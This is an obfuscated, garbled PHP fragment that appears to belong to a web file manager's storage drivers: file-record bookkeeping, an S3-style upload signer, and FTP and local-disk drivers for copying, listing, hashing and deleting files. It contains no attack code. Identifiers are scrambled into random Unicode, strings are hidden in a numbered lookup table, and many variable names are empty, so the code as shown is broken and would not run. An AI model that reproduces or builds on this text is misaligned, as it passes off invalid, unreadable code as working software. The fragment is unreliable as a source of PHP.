(IO::isTypeObject($) && !IO::isUploadServer($)) { if (IO::exist($)) { return $; } $ = IO::setContent($, $[12]); if (!$) { show_json($[1869], !1); } } CacheLock::unlock($鐤); break; case $[1864]: break; default: break; } return $; } public function addFileByRemote($, $ђ, $ = array()) { $ߐ =& $_SERVER[]; if (!IO::exist($)) { return !1; } $դ = $[$ߐ[169]] ? $[$ߐ[169]] : $ߐ[12]; $ = IO::hashMd5($, $դ); $ = KodIO::defaultDriver(); $Ⓘƒ = array($ߐ[579] => IO::size($), $ߐ[1870] => 1, $ߐ[421] => $ђ, $ߐ[801] => $[$ߐ[401]], $ߐ[422] => $, $ߐ[1871] => $[$ߐ[170]] ? $[$ߐ[170]] : IO::hashSimple($), $ߐ[1872] => $ ? $ : $դ); if ($ = $this->addFileCheckExist($Ⓘƒ[$ߐ[170]], $Ⓘƒ[$ߐ[169]], $Ⓘƒ[$ߐ[80]])) { return $; } return $this->addFileData($Ⓘƒ); } private function addFileData($Δ) { $ʬ =& $_SERVER[]; if (!$Δ) { return !1; } $Δ[$ʬ[80]] = intval($Δ[$ʬ[80]]); if (!$Δ[$ʬ[80]] && strlen($Δ[$ʬ[170]]) > 32) { $Δ[$ʬ[80]] = intval(substr($Δ[$ʬ[170]], 32)); } $ = $this->add($Δ); return $this->find($); } public function addFile($ٌ, $͐, $ = false) { $ =& $_SERVER[]; $ӹ = IO::hashSimple($ٌ); $۷ = IO::size($ٌ); $ɭ = $۷ <= 1024 * 1024 * 10 ? IO::hashMd5($ٌ) : $[12]; $ = $[1873] . $ӹ; CacheLock::lock($); if ($ɭ && $ӹ) { $dȯ = $this->addFileCheckExist($ӹ, $ɭ, $۷); if ($dȯ) { CacheLock::unlock($); return $dȯ; } } $ѻ = $this->addFileMake($ٌ, $۷, $ӹ, $ɭ, $͐, $); $ٟ = $this->addFileData($ѻ); CacheLock::unlock($); if (!$ɭ && $ٟ) { $this->fileMd5Check($ٟ); } return $ٟ; } private function fileMd5Check($ŏÆ) { $ǀ =& $_SERVER[]; $筠 = array($ŏÆ[$ǀ[467]], $ŏÆ[$ǀ[78]]); $ = $ǀ[1874] . $ŏÆ[$ǀ[78]]; $ = $ǀ[1875] . $ŏÆ[$ǀ[467]]; $ߐ = TaskQueue::add($ǀ[1876], $筠, $, $); if (!$ߐ) { $this->fileMd5Set($ŏÆ[$ǀ[467]], $ŏÆ[$ǀ[78]]); } else { TaskQueue::addSubmit(); } } public function fileMd5Set($ͣ, $) { $ =& $_SERVER[]; $ = $this->find($ͣ); if (!$ || $[$[169]]) { return; } $ʢ = IO::hashMd5($); if (!$ʢ) { return $[12]; } $this->where(array($[467] => $ͣ))->save(array($[169] => $ʢ)); } public function addFileMake($﹙, $߇, $, $, $ؘ, $) { $⧂ =& $_SERVER[]; $㋋ = $this->createFileName($ؘ, $, $); $ = get_path_father($㋋); $ = get_path_this($㋋); if ($) { $ = IO::move($﹙, $, !1, $); } else { $ = IO::copy($﹙, $, !1, $); } if (!$) { return !1; } $ = KodIO::defaultDriver(); $ = array($⧂[579] => $߇, $⧂[1870] => 1, $⧂[421] => $ؘ, $⧂[801] => $[$⧂[401]], $⧂[422] => $㋋, $⧂[1871] => $, $⧂[1872] => $); return $; } public function addFileCheckExist($ޣՉ, $т, $) { $׎ =& $_SERVER[]; $ӣ = $this->findByHash($ޣՉ, $т); if (!$ӣ) { return !1; } $ʡ = array($׎[1870] => intval($ӣ[$׎[1877]]) + 1, $׎[579] => $); $this->where(array($׎[468] => $ӣ[$׎[467]]))->save($ʡ); return $ӣ; } public function remove($Ğ) { $this->linkCountChange($Ğ, !1); $this->clearEmpty(); return !0; } public function linkAdd($Ό) { $this->linkCountChange($Ό, !0); } public function linkCountChange($ն, $Ą) { $܏ =& $_SERVER[]; if (!$ն) { return; } if (!is_array($ն)) { $ն = array($ն); } $ = array(); foreach ($ն as $ƅ) { $ = $ƅ . $܏[12]; if (!$[$]) { $[$] = 0; } $[$]++; } $å = array(); foreach ($ as $ƅ => $ū) { $ = $ū . $܏[12]; if (!$å[$]) { $å[$] = array(); } $å[$][] = $ƅ; } foreach ($å as $ū => $) { if (!$) { continue; } $ū = $Ą ? $ū : -intval($ū); $ = array($܏[467] => array($܏[7], $)); if ($ū < 0) { $[$܏[1877]] = array($܏[1002], abs($ū)); } $this->where($)->setAdd($܏[1877], $ū); } } public function findByHash($, $¬Ǎ = false) { $񞾻 =& $_SERVER[]; if (!$ && !$¬Ǎ) { return !1; } $ = array($񞾻[1871] => $); if ($¬Ǎ) { $ = array($񞾻[1872] => $¬Ǎ); } return $this->order($񞾻[1878])->where($)->find(); } public function clearEmpty($΁ = 0) { $׼ =& $_SERVER[]; $ = time() - 3600 * 24 * $΁; $ = $׼[1879] . $; $܄ۓ = $this->where($)->select(); if (!$܄ۓ) { return; } $ǎ = new Task($׼[1880], $׼[12], count($܄ۓ)); foreach ($܄ۓ as $랤) { $ǎ->update(1); $this->resetFile($랤); } $ǎ->end(); } public function resetFile($) { $ԇ =& $_SERVER[]; $겇 = array($ԇ[468] => $[$ԇ[467]]); $ = Model($ԇ[1312])->where($겇)->count(); $ = Model($ԇ[1881])->where($겇)->count(); $ś = intval($) + intval($); if ($ś == 0) { IO::remove($[$ԇ[78]]); Model($ԇ[1882])->delete($[$ԇ[467]]); $this->where($겇)->delete(); $this->metaSet($[$ԇ[467]], null, null); return; } if ($[$ԇ[1877]] != $ś) { $this->where($겇)->save(array($ԇ[1870] => $ś)); } } public function storageInfo($ڪ = false) { $ =& $_SERVER[]; $ = $this->count() + 0.0; $ = 0; $Ёޅ = 1; $Œ = 0; $ = 5000; for ($ = 0; $ < $; $ = $ + $) { $䮮 = $this->limit($, $ + $)->select(); foreach ($䮮 as $) { $Ёޅ += $[$[80]] * $[$[1877]]; $ += $[$[80]] * ($[$[1877]] - 1); $Œ += $[$[1877]]; } } $ڈ = array($[1883] => $Ёޅ, $[1884] => $, $[1885] => $ / $Ёޅ, $[84] => $, $[1886] => $Œ); return $ڈ; } } goto e; bٲ: class PathDriverEOS extends PathDriverBaseS3 { public function __construct($Ѥ) { parent::__construct($Ѥ); $this->signatureVersion($_SERVER[][211]); } public function uploadFormData($ړ, $ܒ = 3600) { $ =& $_SERVER[]; $ѯҹ = $[191]; $ = $[1331]; $Й = $[62]; $ = gmdate($[1332]); $ = gmdate($[744]); $ = $[1333]; $ɧ = $ܒ . $[12]; $묥 = $[1295]; $リ = array($this->accessKey, $, $this->region, $Й, $); $ = implode($[8], $リ); $ = array($[1297] => gmdate($[1296], strtotime($[1334])), $[1298] => array(array($[1300] => $this->bucket), array($[1299] => $ѯҹ), array($[1301], $[1302], $[12]), array($[1301], $[1335], $[12]), array($[1301], $[1336], $[12]), array($[1303] => $묥), array($[1337] => $), array($[1338] => $), array($[1339] => $), array($[1340] => $ɧ))); $坺 = base64_encode(json_encode($)); $۠٪ = hash_hmac($[1341], $, $[1342] . $this->secret, !0); $۩އ = hash_hmac($[1341], $this->region, $۠٪, !0); $Ŵ = hash_hmac($[1341], $Й, $۩އ, !0); $Ƕ = hash_hmac($[1341], $, $Ŵ, !0); $ĕͮ = hash_hmac($[1341], $坺, $Ƕ); $ݬ = array($[210] => $[12], $[1343] => $[12], $[1299] => $ѯҹ, $[1303] => $묥, $[1307] => $坺, $[1344] => $, $[1345] => $, $[1346] => $, $[1347] => $ɧ, $[1348] => $ĕͮ, $[174] => $this->getHost()); return $ݬ; } } class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "\x31"; private $config = array(); public function __construct($ꝟ) { parent::__construct(); if (count($ꝟ) > 0) { $this->_init($ꝟ); } } public function __destruct() { if (!$this->_isconn()) { return !1; } return @ftp_close($this->connect); } private function charsetReset($ҥ) { $ֈ =& $_SERVER[]; global $config; $this->appCharset = $config[$ֈ[1349]]; $this->systemCharset = $config[$ֈ[1350]]; if (isset($ҥ[$ֈ[1351]]) && $ҥ[$ֈ[1351]]) { $this->systemCharset = $ҥ[$ֈ[1351]]; } } public function iconvApp($) { return $this->iconvTo($, $this->systemCharset, $this->appCharset); } public function iconvSystem($) { return $this->iconvTo($, $this->appCharset, $this->systemCharset); } public function getPathOuter($ȸ) { $߸ =& $_SERVER[]; $ˢÚ = $this->iconvApp($this->pathBase); $ȸ = $this->iconvApp($ȸ); if (substr($ˢÚ, 0, 2) == $߸[1352]) { $ˢÚ = BASIC_PATH . substr($ˢÚ, 2); } if (substr($ȸ, 0, 2) == $߸[1352]) { $ȸ = BASIC_PATH . substr($ȸ, 2); } $ˢÚ = KodIO::clear($ˢÚ); $ȸ = KodIO::clear($ȸ); $ȸ = substr($ȸ, strlen($ˢÚ)); if (empty($this->pathDriver)) { return $ȸ; } return $this->pathDriver . $߸[8] . ltrim($ȸ, $߸[8]); } private function _init($޶ = array()) { $А =& $_SERVER[]; if (!function_exists($А[1353])) { throw new Exception(LNG($А[1354])); } $this->config = $޶; $this->charsetReset($޶); foreach ($޶ as $ۃ => $ۼ) { if (isset($this->{$ۃ})) { $this->{$ۃ} = $ۼ; } } return $this->_login($޶); } private function _login($ȱ) { $ =& $_SERVER[]; static $䒱 = array(); $ = md5(json_encode($ȱ)); if (isset($䒱[$])) { foreach ($䒱[$] as $ => $) { $this->{$} = $; } return !0; } $ = parse_url(trim($this->server, $[8])); $this->host = $[$[174]]; $ = isset($[$[173]]) && $[$[173]] == $[1355] ? !0 : !1; $this->scheme = $ ? $[1356] : $[1357]; $this->port = isset($[$[175]]) ? $[$[175]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 5); if ($this->connect === !1) { return !1; } $߫ǵ = @ftp_login($this->connect, $this->username, $this->userpass); @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $ұ = $this->pasv == $[89] ? !0 : !1; @ftp_pasv($this->connect, $ұ); $䒱[$] = array($[1358] => $this->connect, $[174] => $this->host, $[173] => $this->scheme, $[175] => $this->port); return $߫ǵ; } private function _isconn() { if (is_resource($this->connect)) { return !0; } return $this->_login($this->config); } public function mkfile($, $٭ = '', $肄 = REPEAT_RENAME) { if ($this->setContent($, $٭)) { return $this->getPathOuter($); } return !1; } public function mkdir($ۺ, $ = REPEAT_SKIP) { if (!$this->_isconn()) { return !1; } $ۺ = $this->iconvSystem($ۺ); if ($this->_isFolder($ۺ) || @ftp_mkdir($this->connect, $ۺ)) { return $this->getPathOuter($ۺ); } if (!$this->mkdir($this->pathFather($ۺ))) { return !1; } if ($ۺ = @ftp_mkdir($this->connect, $ۺ)) { return $this->getPathOuter($ۺ); } return !1; } public function copyFile($ŵ, $Ō) { if (!$this->_isconn()) { return !1; } $⇓ = $this->pathThis($this->iconvSystem($ŵ)); $ = $this->tempFile($⇓); $ؤ = $this->iconvApp($); $this->download($ŵ, $ؤ); $ = $this->upload($Ō, $ؤ); $this->tempFileRemve($); return $; } public function moveFile($ƴ, $숁) { if (!$this->_isconn()) { return !1; } $ƴ = $this->iconvSystem($ƴ); $숁 = $this->iconvSystem($숁); $ۮ = @ftp_rename($this->connect, $ƴ, $숁); return $ۮ ? $this->getPathOuter($숁) : !1; } public function delFile($Ѯ֦) { if (!$this->_isconn()) { return !1; } $Ѯ֦ = $this->iconvSystem($Ѯ֦); return @ftp_delete($this->connect, $Ѯ֦); } public function delFolder($) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $饫 = $Ë = array(); $this->fileList($, $饫, $Ë, !0); $this->listItemCache = !0; foreach ($Ë as $٘Ǭ) { $ = $this->iconvSystem($٘Ǭ[$_SERVER[][32]]); $˘ = @ftp_delete($this->connect, $); if (!$˘) { return !1; } } foreach ($饫 as $) { $ = $this->iconvSystem($); $˘ = @ftp_rmdir($this->connect, $); if (!$˘) { return !1; } } $ = $this->iconvSystem($); return @ftp_rmdir($this->connect, $); } public function rename($, $˰) { $갫 =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $this->fileNameAuto($this->pathFather($), $˰); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ꜛ = $this->pathFather($); $ϕ = rtrim($ꜛ, $갫[8]) . $갫[8] . $; $ڻ = @ftp_rename($this->connect, $, $ϕ); $ϕ = $this->iconvApp($ϕ); return $ڻ ? $this->getPathOuter($ϕ) : !1; } private function folderInfo($Ϗ, $Ϳ = false) { $نȺ =& $_SERVER[]; $ܝ = array($نȺ[32] => $this->pathThis($Ϗ), $نȺ[78] => $this->getPathOuter($نȺ[8] . $Ϗ), $نȺ[33] => $نȺ[79]); if ($Ϳ) { return $ܝ; } $ܝ[$نȺ[193]] = $ܝ[$نȺ[86]] = 0; $ܝ[$نȺ[194]] = $ܝ[$نȺ[195]] = !0; return $ܝ; } private function fileInfo($, $ = false, $Ž = array()) { $ =& $_SERVER[]; $܆ = array($[32] => $this->pathThis($), $[78] => $this->getPathOuter($[8] . $), $[33] => $[192], $[80] => isset($Ž[$[80]]) ? $Ž[$[80]] : 0, $[167] => $this->ext($)); if ($) { return $܆; } $܆[$[193]] = $܆[$[86]] = 0; $܆[$[194]] = $܆[$[195]] = !0; $î = $this->iconvSystem($); $܆[$[86]] = @ftp_mdtm($this->connect, $î); if (empty($Ž)) { $Ž = $this->objectMeta($); if (!$Ž) { return $܆; } } $܆[$[80]] = $Ž[$[80]]; return $܆; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[][80]] : 0; } public function info($) { if ($this->isFile($)) { return $this->fileInfo($, 0); } else { if ($this->isFolder($)) { return $this->folderInfo($); } } return !1; } private function fileList($, &$ޤ, &$, $ = false) { $Ҧ =& $_SERVER[]; $ = $this->iconvSystem($); if (!$this->isFolder($)) { return !1; } @ftp_chdir($this->connect, $Ҧ[8]); $ = rtrim($, $Ҧ[8]) . $Ҧ[8]; check_abort(); $ = $this->listItemCache === !1 ? !1 : !0; $ߢ = @ftp_rawlist($this->connect, $); if (!$ߢ) { $ߢ = array(); } $۠́ = array($Ҧ[10] => 1, $Ҧ[1359] => 1); foreach ($ߢ as $) { $݋ֹ = $this->_listItem($); if ($݋ֹ[0] == $Ҧ[752]) { continue; } $։ = $݋ֹ[8]; if (empty($։) && $։ !== $Ҧ[190] || isset($۠́[$։])) { continue; } $։ = $this->iconvApp($ . ltrim($։, $Ҧ[8])); $ = array($Ҧ[32] => $։, $Ҧ[33] => $Ҧ[192], $Ҧ[80] => $݋ֹ[4]); if (substr($, 0, 1) == $Ҧ[1360]) { $[$Ҧ[33]] = $Ҧ[79]; $[$Ҧ[80]] = 0; } $ = $[$Ҧ[33]] == $Ҧ[79] ? !0 : !1; if ($) { $this->cacheMethod($Ҧ[198], $։, $); $this->cacheMethod($Ҧ[199], $։, $); } if ($) { $ޤ[] = $։; if ($) { $this->fileList($։, $ޤ, $, $); } continue; } $[] = $; } if ($) { $this->cacheMethod($Ҧ[198], $, !0); } } private function _listItem($ɹ) { if (empty($ɹ)) { return array(); } $ = preg_split($_SERVER[][1361], $ɹ); if (count($) <= 9) { return $; } $[8] = trim(substr($ɹ, strpos($ɹ, $[7]) + strlen($[7]))); return array_splice($, 0, 9); } public function listPath($ٍ, $ = false) { $‼ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $̭ = array(); $this->fileList($ٍ, $, $̭); foreach ($ as $ጽ => $Ҳ) { $[$ጽ] = $this->folderInfo($Ҳ, $); } foreach ($̭ as $ጽ => $Ҳ) { $̭[$ጽ] = $this->fileInfo($Ҳ[$‼[32]], $, $Ҳ); } return array($‼[77] => $, $‼[76] => $̭); } public function has($ȳ, $ד = false, $ = true) { $ڢ =& $_SERVER[]; $ًɛ = $ = array(); $ب = $ד ? !0 : !1; $this->fileList($ȳ, $ًɛ, $, $ب); if ($ד) { return array($ڢ[202] => count($), $ڢ[203] => count($ًɛ)); } if ($) { if (count($)) { return !0; } } else { if (count($ًɛ)) { return !0; } } return !1; } public function listAll($ڃ) { $ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $ = array(); $this->fileList($ڃ, $, $, !0); $ӑ֞ = array(); foreach ($ as $ʵ) { $ӑ֞[$ʵ[$[32]]] = $ʵ[$[80]]; } foreach ($ as $ʵ) { if (is_string($ʵ)) { $ӑ֞[$ʵ] = 0; } } return $this->listAllFiles($ڃ, array_keys($ӑ֞), $ӑ֞); } public function getContent($尮) { if (!$this->_isconn()) { return !1; } $尮 = $this->iconvSystem($尮); return $this->fileSubstr($尮); } public function setContent($ڞ, $ = '') { if (!$this->_isconn()) { return !1; } $򌤊 = $this->pathThis($this->iconvSystem($ڞ)); $ = $this->tempFile($򌤊); file_put_contents($, $); $ = $this->upload($ڞ, $this->iconvApp($)); $this->tempFileRemve($); return $; } public function fileSubstr($ǻ, $ = 0, $ܲDz = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($ǻ, $, $ܲDz); } private function ftpRequest($ۦ, $ʜ = 0, $ = false) { $ۦ = $this->iconvSystem($ۦ); $޷ = $this->scheme . $this->host . $_SERVER[][4] . $this->port; $ʓ = curl_init(); curl_setopt($ʓ, CURLOPT_URL, $޷ . $this->pathEncode($ۦ)); curl_setopt($ʓ, CURLOPT_USERPWD, "{$this->username}\72{$this->userpass}"); if ($) { $ = $ʜ + $ - 1; curl_setopt($ʓ, CURLOPT_RANGE, "{$ʜ}\x2d{$}"); } curl_setopt($ʓ, CURLOPT_RETURNTRANSFER, 1); $囎 = curl_exec($ʓ); curl_close($ʓ); return $囎; } public function upload($, $, $ط = false, $ = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($))) { return !1; } $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = ftp_nb_put($this->connect, $, $, FTP_BINARY); while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { return !1; } return $this->getPathOuter($); } public function download($, $є = '') { if (!$this->_isconn()) { return !1; } $Ѐ = $this->pathFather($є); if (!IO::mkdir($Ѐ)) { return !1; } $ = $this->iconvSystem($); $є = $this->iconvSystem($є); $ʶ = ftp_nb_get($this->connect, $є, $, FTP_BINARY); while ($ʶ == FTP_MOREDATA) { $ʶ = ftp_nb_continue($this->connect); } if ($ʶ != FTP_FINISHED) { return !1; } return $this->iconvApp($є); } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[][198], $); } protected function objectMeta($ʌ) { return $this->cacheMethod($_SERVER[][199], $ʌ); } protected function _objectMeta($) { $Μ =& $_SERVER[]; if ($ == $Μ[12] || $ == $Μ[8]) { return array(); } if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $Ϙ = array($Μ[32] => $this->iconvApp($), $Μ[33] => $Μ[192], $Μ[80] => 0); @ftp_chdir($this->connect, $Μ[8]); $ = @ftp_size($this->connect, $); if ($ != -1) { $Ϙ[$Μ[80]] = $; } else { $ɳ = @ftp_chdir($this->connect, $); if (!$ɳ) { return !1; } $Ϙ[$Μ[33]] = $Μ[79]; } return $Ϙ; } protected function _isFolder($) { $͔ =& $_SERVER[]; if ($ == $͔[12] || $ == $͔[8]) { return !0; } $ = $this->_objectMeta($); return isset($[$͔[33]]) && $[$͔[33]] == $͔[79] ? !0 : !1; } } class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($ɛ) { if (substr($ɛ, 0, 2) == $_SERVER[][1352]) { $ɛ = BASIC_PATH . substr($ɛ, 2); } return $ɛ; } public function iconvApp($) { $ =& $_SERVER[]; global $config; return $this->iconvTo($, $config[$[1350]], $config[$[1349]]); } public function iconvSystem($ͻ) { $ =& $_SERVER[]; global $config; return $this->iconvTo($ͻ, $config[$[1349]], $config[$[1350]]); } public function getPathOuter($Ê) { $ =& $_SERVER[]; $ = $this->iconvApp($this->pathBase); $Ê = $this->iconvApp($Ê); if (substr($, 0, 2) == $[1352]) { $ = BASIC_PATH . substr($, 2); } if (substr($Ê, 0, 2) == $[1352]) { $Ê = BASIC_PATH . substr($Ê, 2); } $ = KodIO::clear($); $Ê = KodIO::clear($Ê); $Ê = substr($Ê, strlen($)); if (empty($this->pathDriver)) { return $Ê; } return $this->pathDriver . $[8] . ltrim($Ê, $[8]); } public function mkfile($䒠, $ = '', $Ҁ = REPEAT_RENAME) { $䒠 = $this->iconvSystem($䒠); @touch($䒠); if ($) { file_put_contents($䒠, $); } @chmod($䒠, $this->pathAuth); return is_file($䒠) ? $this->getPathOuter($䒠) : !1; } public function mkdir($İ, $޼ = REPEAT_SKIP) { $İ = $this->iconvSystem($İ); if (is_dir($İ)) { return $this->getPathOuter($İ); } @mkdir($İ, $this->pathAuth, !0); @chmod($İ, $this->pathAuth); return is_dir($İ) ? $this->getPathOuter($İ) : !1; } public function copyFile($҄, $) { $this->mkdir($this->pathFather($)); $҄ = $this->iconvSystem($҄); $ = $this->iconvSystem($); $ = copy_64($҄, $); @chmod($, $this->pathAuth); return $ ? $this->getPathOuter($) : !1; } public function moveFile($̥, $) { $this->mkdir($this->pathFather($)); $̥ = $this->iconvSystem($̥); $ = $this->iconvSystem($); $ހ = intval(@rename($̥, $)); if (!$ހ) { if ($ހ = intval(@copy_64($̥, $))) { @unlink($̥); } } @chmod($, $this->pathAuth); return $ހ ? $this->getPathOuter($) : !1; } public function movePath($, $, $ = false) { $© =& $_SERVER[]; $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = rtrim($, $©[8]) . $©[8] . ($ ? $ : get_path_this($)); if (file_exists($)) { return !1; } $ڣ = intval(@rename($, $)); $ڣ = file_exists($); return $ڣ ? $this->getPathOuter($) : !1; } public function delFile($ߗ) { $ߗ = $this->iconvSystem($ߗ); if (!@unlink($ߗ)) { @chmod($ߗ, $this->pathAuth); if (!@unlink($ߗ)) { return !1; } } else { return !0; } } public function delFolder($) { $ =& $_SERVER[]; $ = $this->iconvSystem($); if (!is_dir($)) { return !0; } if (!($ = opendir($))) { return !1; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1359]) { continue; } $ = $ . $[8] . $; if (is_file($) || is_link($)) { if (!unlink($)) { chmod($, $this->pathAuth); if (!unlink($)) { return !1; } } } else { if (is_dir($)) { chmod($, $this->pathAuth); $ = $this->iconvApp($); if (!$this->delFolder($)) { return !1; } } } } closedir($); return rmdir($); } public function rename($, $Ŕ) { $ =& $_SERVER[]; $ = $this->fileNameAuto($this->pathFather($), $Ŕ); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $،Ꝿ = $this->pathFather($); $ = rtrim($،Ꝿ, $[8]) . $[8] . $; $Ǽ = @rename($, $); $ = $this->iconvApp($); return $Ǽ ? $this->getPathOuter($) : !1; } public function size($¿) { $¿ = $this->iconvSystem($¿); return filesize_64($¿); } public function info($ӑ) { $ӑ = $this->iconvSystem($ӑ); if ($this->isFolder($ӑ)) { return $this->folderInfo($ӑ); } else { if ($this->isFile($ӑ)) { return $this->fileInfo($ӑ); } } return !1; } protected function infoChildren($, &$ĉ, $ժ = true) { $ =& $_SERVER[]; check_abort_echo(); $ = rtrim($, $[8]) . $[8]; if ($ժ) { $ = $this->iconvSystem($); } if (!($ߦ = @opendir($))) { return; } while (($ڬ = readdir($ߦ)) !== !1) { if ($ڬ == $[10] || $ڬ == $[1359]) { continue; } $ = $ . $ڬ; if (is_file($) || is_link($)) { $ĉ[$[81]]++; $ĉ[$[80]] += filesize_64($); } else { if (is_dir($)) { $ĉ[$[82]]++; $this->infoChildren($, $ĉ, !1); } } } closedir($ߦ); } private function folderInfo($́, $ĺ = false) { $Ɂ =& $_SERVER[]; $́ = rtrim($́, $Ɂ[8]) . $Ɂ[8]; $Ї = $this->iconvApp($this->pathThis($́)); if ($ĺ) { return array($Ɂ[32] => $Ї, $Ɂ[78] => $this->getPathOuter($́), $Ɂ[33] => $Ɂ[79]); } $޿ = array($Ɂ[32] => $Ї, $Ɂ[78] => $this->getPathOuter($́), $Ɂ[33] => $Ɂ[79], $Ɂ[193] => @filectime($́), $Ɂ[86] => @filemtime($́), $Ɂ[1362] => @fileatime($́), $Ɂ[1363] => is_readable($́), $Ɂ[1364] => is_writable($́), $Ɂ[1365] => get_mode($́)); return $޿; } private function fileInfo($х, $ = false) { $ӄā =& $_SERVER[]; $琬 = $this->iconvApp($this->pathThis($х)); if ($) { return array($ӄā[32] => $琬, $ӄā[78] => $this->getPathOuter($х), $ӄā[33] => $ӄā[192], $ӄā[80] => $this->size($х), $ӄā[167] => $this->ext($琬)); } $ = array($ӄā[32] => $琬, $ӄā[78] => $this->getPathOuter($х), $ӄā[33] => $ӄā[192], $ӄā[193] => @filectime($х), $ӄā[86] => @filemtime($х), $ӄā[1362] => @fileatime($х), $ӄā[80] => $this->size($х), $ӄā[167] => $this->ext($琬), $ӄā[1363] => is_readable($х), $ӄā[1364] => is_writable($х), $ӄā[1365] => get_mode($х)); return $; } public function exist($ހ) { $ހ = $this->iconvSystem($ހ); return @file_exists($ހ); } public function isFile($ށ) { $ށ = $this->iconvSystem($ށ); return @is_file($ށ); } public function isFolder($) { $ = $this->iconvSystem($); return @is_dir($); } public function listPath($朦, $ = false) { $ =& $_SERVER[]; $朦 = $this->iconvSystem($朦); $朦 = rtrim($朦, $[8]) . $[8]; $Ъ = array($[77] => array(), $[76] => array()); if (!($ѱ = @opendir($朦))) { return $Ъ; } while (($ = readdir($ѱ)) !== !1) { if ($ == $[10] || $ == $[1359]) { continue; } $㋗ = $朦 . $; if (is_file($㋗)) { $Ъ[$[76]][] = $this->fileInfo($㋗, $); } else { $Ъ[$[77]][] = $this->folderInfo($㋗, $); } } closedir($ѱ); return $Ъ; } public function listAll($ͭƬ, &$ = array()) { $ =& $_SERVER[]; $ͭƬ = $this->iconvSystem($ͭƬ); $ͭƬ = rtrim($ͭƬ, $[8]) . $[8]; if (!($籅 = @opendir($ͭƬ))) { return $; } while (($ = readdir($籅)) !== !1) { if ($ == $[10] || $ == $[1359]) { continue; } $ = $ͭƬ . $; if (is_dir($) && !is_link($)) { $[] = array($[78] => $ . $[8], $[79] => 1, $[86] => @filemtime($), $[80] => 0); $this->listAll($, $); } else { $[] = array($[78] => $, $[79] => 0, $[86] => @filemtime($), $[80] => $this->size($)); } } closedir($籅); return $; } public function has($, $Ó = false, $ː = true) { $ =& $_SERVER[]; $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; if (!($Ɇ = @opendir($))) { return !1; } $ = 0; $ = 0; $䓠 = 0; while (($Ո = readdir($Ɇ)) !== !1) { if ($Ո == $[10] || $Ո == $[1359]) { continue; } $Ӝ = $ . $Ո; if ($Ó) { $䓠++; if (@is_file($Ӝ)) { $++; } else { $++; } if ($䓠 > 10000) { break; } continue; } if ($ː) { if (@is_file($Ӝ)) { return !0; } } else { if (@is_dir($Ӝ . $[8])) { return !0; } } } closedir($Ɇ); if ($Ó) { return array($[202] => $, $[203] => $); } return !1; } public function hashSimple($͏) { $ƚӆ =& $_SERVER[]; if (!$͏) { return md5($ƚӆ[12]); } $͏ = $this->iconvSystem($͏); $ = $this->size($͏); $̎ = 200; $ь = 50; if ($ <= $̎ * $ь) { return $this->hashMd5($͏) . $; } $‚ = $ƚӆ[12]; $Ə = intval($ / $ь); $艅 = fopen($͏, $ƚӆ[1366]); if (!$艅) { return $‚; } for ($잇 = 0; $잇 < $ь; $잇++) { fseek_64($艅, $Ə * $잇); $‚ .= fread($艅, $̎); } fseek_64($艅, $ - $̎); $‚ .= fread($艅, $̎); fclose($艅); return md5($‚) . $; } public function getContent($蔥) { $蔥 = $this->iconvSystem($蔥); return file_get_contents($蔥); } public function setContent($, $a = '') { $ = $this->iconvSystem($); $ީڿ = @file_put_contents($, $a, LOCK_EX); clearstatcache(); @chmod($, $this->pathAuth); return $ީڿ === !1 ? !1 : !0; } public function fileSubstr($丢ڗ, $㭧 = 0, $ = false) { $ۇ =& $_SERVER[]; $丢ڗ = $this->iconvSystem($丢ڗ); if ($ === !1) { $ = $this->size($丢ڗ); } if ($ <= 0) { return $ۇ[12]; } $ = fopen($丢ڗ, $ۇ[1366]); if (!$) { return !1; } fseek_64($, $㭧); $ = fread($, $); fclose($); return $; } public function upload($奲, $шֺ, $ۑ = false, $ = REPEAT_REPLACE) { if ($ۑ) { return $this->moveFile($шֺ, $奲); } return $this->copyFile($шֺ, $奲); } public function setModifyTime($܄, $ໃʜ = '') { @touch($܄, intval($ໃʜ)); } public function download($, $) { return $this->iconvSystem($); } } goto E덏; Dى: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public function __construct() { $ =& $_SERVER[]; $this->objectDriver = array($[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($ئҐ) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($ئҐ, $_SERVER[][8]); } return $ئҐ; } public function iconvApp($ɫ) { return $ɫ; } public function iconvSystem($쌴) { return $쌴; } public function iconvTo($͊, $崁, $˃) { $Ҭʣ =& $_SERVER[]; if (!$͊ || !function_exists($Ҭʣ[69])) { return $͊; } static $ԧ = array(); $ˡ = $崁 . $Ҭʣ[70] . $˃ . $Ҭʣ[71] . $͊; if (isset($ԧ[$ˡ])) { return $ԧ[$ˡ]; } if (function_exists($Ҭʣ[72])) { $ = @mb_convert_encoding($͊, $˃, $崁); } else { $ = @iconv($崁, $˃, $͊); } $ = $ ? $ : $͊; if (strstr($, $Ҭʣ[73])) { $ = str_replace($Ҭʣ[73], $Ҭʣ[11], $); } $ԧ[$崁 . $Ҭʣ[70] . $˃ . $Ҭʣ[71] . 